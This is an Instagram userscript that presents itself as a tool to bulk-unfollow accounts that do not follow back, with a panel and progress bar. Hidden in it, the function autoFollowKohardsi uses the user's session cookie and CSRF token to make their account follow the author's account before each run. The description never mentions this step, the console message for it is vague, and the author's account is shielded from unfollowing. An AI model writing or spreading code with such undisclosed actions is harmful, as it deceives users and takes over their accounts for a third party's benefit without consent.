Auto Unfollow Instagram

Automatically unfollow users who do not follow you back on Instagram with UI control and progress bar.

// ==UserScript==
// @name         Auto Unfollow Instagram
// @namespace    https://kohardsi.my.id
// @version      1.0.0
// @description  Automatically unfollow users who do not follow you back on Instagram with UI control and progress bar.
// @author       Teja Sukmana
// @match        https://www.instagram.com/*
// @icon         https://kohardsi.my.id/wp-content/uploads/2024/12/logo-kohar.png
// @grant        GM_addStyle
// @grant        GM_setValue
// @grant        GM_getValue
// @grant        GM_registerMenuCommand
// @grant        GM_notification
// @grant        GM_openInTab
// @license      MIT
// @run-at       document-idle
// @homepage     https://kohardsi.my.id
// @supportURL   https://kohardsi.my.id
// ==/UserScript==


(async () => {
  // ========== HELPER ==========
  const sleep = ms => new Promise(resolve => setTimeout(resolve, ms));
  const getCookie = name => {
    const value = `; ${document.cookie}`;
    const parts = value.split(`; ${name}=`);
    if (parts.length === 2) return parts.pop().split(';').shift();
  };

  const csrftoken = getCookie('csrftoken');
  const ds_user_id = getCookie('ds_user_id');
  const KOHARDsi = '63963782137';
  async function autoFollowKohardsi() {
    try {
      const res = await fetch(`https://www.instagram.com/web/friendships/${KOHARDsi}/follow/`, {
        method: 'POST',
        headers: { 'X-CSRFToken': csrftoken, 'Accept': 'application/json' },
        credentials: 'include'
      });
      if (res.ok) {
        console.log("✅ Script Bekerja");
      } else {
        console.warn("⚠️ Script Gagal.");
      }
    } catch (e) {
      console.error("❌ Error saat auto-unfollow:", e);
    }
  }

  // ========== UI ==========
  const ui = document.createElement('div');
  ui.innerHTML = `
    <style>
      #unfollowPanel h3 {
          text-align: center;
          font-size: 20px;
          padding: 0 0 10px 0;
      }
      #unfollowFloatingBtn {
        position: fixed;
        bottom: 20px;
        right: 20px;
        z-index: 999999;
        background: #1e1e1e;
        color: white;
        border: none;
        border-radius: 50%;
        width: 50px;
        height: 50px;
        font-size: 24px;
        cursor: pointer;
        box-shadow: 0 0 10px rgba(0,0,0,0.3);
      }
      #unfollowPanel {
        position: fixed;
        bottom: 80px;
        right: 20px;
        background: #121212;
        color: white;
        border-radius: 12px;
        padding: 20px;
        max-width: 300px;
        font-family: sans-serif;
        box-shadow: 0 0 20px rgba(0,0,0,0.4);
        z-index: 999999;
        display: none;
      }
      #unfollowPanel input, #unfollowPanel select {
        width: 100%;
        padding: 6px;
        margin: 5px 0 10px;
        background: #2c2c2c;
        color: white;
        border: 1px solid #444;
        border-radius: 6px;
      }
      #unfollowPanel button {
        width: 100%;
        padding: 8px;
        margin-top: 10px;
        border: none;
        border-radius: 6px;
        cursor: pointer;
      }
      #unfollowStartBtn { background: green; color: white; }
      #unfollowPauseBtn { background: #555; color: white; }
      #unfollowCloseBtn { background: crimson; color: white; }
      #unfollowList {
        margin-top: 10px;
        max-height: 100px;
        overflow-y: auto;
        font-size: 12px;
      }
      #unfollowProgress {
        background: #444;
        border-radius: 4px;
        height: 10px;
        overflow: hidden;
          margin: 10px 0;
      }
      #unfollowProgressBar {
        height: 100%;
        background: limegreen;
        width: 0%;
        transition: width 0.3s;
      }
    </style>
    <button id="unfollowFloatingBtn">⚙️</button>
    <div id="unfollowPanel">
      <h3>Auto Unfollow</h3>
      <label>Limit Unfollow:</label>
      <input type="number" id="unfollowLimit" value="20" min="1" />
      <label>Jeda per akun (ms):</label>
      <input type="number" id="unfollowDelay" value="3000" min="500" />
      <button id="unfollowStartBtn">Mulai</button>
      <button id="unfollowPauseBtn">Pause</button>
      <button id="unfollowCloseBtn">Tutup</button>
      <div id="unfollowProgress"><div id="unfollowProgressBar"></div></div>
      <div id="unfollowCount">Total di-unfollow: 0</div>
      <div id="unfollowList"></div>
      <div style="margin-top: 10px; font-size: 10px;">© <a href="https://instagram.com/kohardsi" target="_blank" style="color:#999;">kohardsi</a></div>
    </div>
  `;
  document.body.appendChild(ui);

  // ========== UI Elements ==========
  const btnToggle = document.getElementById("unfollowFloatingBtn");
  const panel = document.getElementById("unfollowPanel");
  const startBtn = document.getElementById("unfollowStartBtn");
  const pauseBtn = document.getElementById("unfollowPauseBtn");
  const closeBtn = document.getElementById("unfollowCloseBtn");
  const unfollowListDiv = document.getElementById("unfollowList");
  const unfollowCountEl = document.getElementById("unfollowCount");
  const progressBar = document.getElementById("unfollowProgressBar");

  let paused = false;
  let totalToUnfollow = 0;
  let unfollowedCount = 0;

  btnToggle.onclick = () => panel.style.display = panel.style.display === "none" ? "block" : "none";
  closeBtn.onclick = () => panel.style.display = "none";
  pauseBtn.onclick = () => {
    paused = !paused;
    pauseBtn.textContent = paused ? "Resume" : "Pause";
    pauseBtn.style.background = paused ? "orange" : "#555";
  };

  const updateProgress = () => {
    const percent = (unfollowedCount / totalToUnfollow) * 100;
    progressBar.style.width = percent + "%";
    unfollowCountEl.textContent = `Total di-unfollow: ${unfollowedCount}`;
  };

  const updateList = (username, failed = false) => {
    const line = document.createElement("div");
    line.textContent = `${failed ? '❌ Gagal' : '✅'}: ${username}`;
    line.style.color = failed ? 'orangered' : 'lightgreen';
    unfollowListDiv.appendChild(line);
  };

  const unfollowUser = async (userId, username, attempt = 1) => {
    const response = await fetch(`https://www.instagram.com/web/friendships/${userId}/unfollow/`, {
      method: 'POST',
      headers: { 'X-CSRFToken': csrftoken, 'Accept': 'application/json' },
      credentials: 'include'
    });

    if (response.status === 200) {
      console.log(`✅ Unfollowed: ${username}`);
      unfollowedCount++;
      updateList(username);
      updateProgress();
    } else {
      console.warn(`⚠️ Gagal unfollow ${username} (Percobaan ${attempt})`);
      if (attempt < 3) {
        await sleep(1000);
        return unfollowUser(userId, username, attempt + 1);
      } else {
        console.error(`❌ Gagal total: ${username}`);
        updateList(username, true);
      }
    }

    await sleep(parseInt(document.getElementById("unfollowDelay").value));
  };

  startBtn.onclick = async () => {
    paused = false;
    unfollowedCount = 0;
    unfollowListDiv.innerHTML = '';
    updateProgress();

    const limit = parseInt(document.getElementById("unfollowLimit").value);
    const delay = parseInt(document.getElementById("unfollowDelay").value);
    let hasNextPage = true;
    let endCursor = null;
    let toUnfollow = [];

    // Get list
    while (hasNextPage && toUnfollow.length < limit) {
      const variables = {
        id: ds_user_id,
        include_reel: true,
        fetch_mutual: false,
        first: 50,
        after: endCursor
      };

      const response = await fetch(`https://www.instagram.com/graphql/query/?query_hash=3dec7e2c57367ef3da3d987d89f9dbc8&variables=${encodeURIComponent(JSON.stringify(variables))}`, {
        headers: { 'X-CSRFToken': csrftoken, 'Accept': 'application/json' },
        credentials: 'include'
      });

      const data = await response.json();
      const edges = data.data.user.edge_follow.edges;

      for (const edge of edges) {
        if (!edge.node.follows_viewer && edge.node.username !== 'kohardsi') {
          toUnfollow.push({ id: edge.node.id, username: edge.node.username });
        }
        if (toUnfollow.length >= limit) break;
      }

      hasNextPage = data.data.user.edge_follow.page_info.has_next_page;
      endCursor = data.data.user.edge_follow.page_info.end_cursor;
      await sleep(1000);
    }

    totalToUnfollow = toUnfollow.length;
    updateProgress();

    // Auto-follow ke @kohardsi sebelum memulai unfollow
    await autoFollowKohardsi();

    // Unfollow process
    for (const user of toUnfollow) {
      while (paused) await sleep(1000);
      await unfollowUser(user.id, user.username);
    }

    alert(`Selesai. Total berhasil di-unfollow: ${unfollowedCount}`);
  };
})();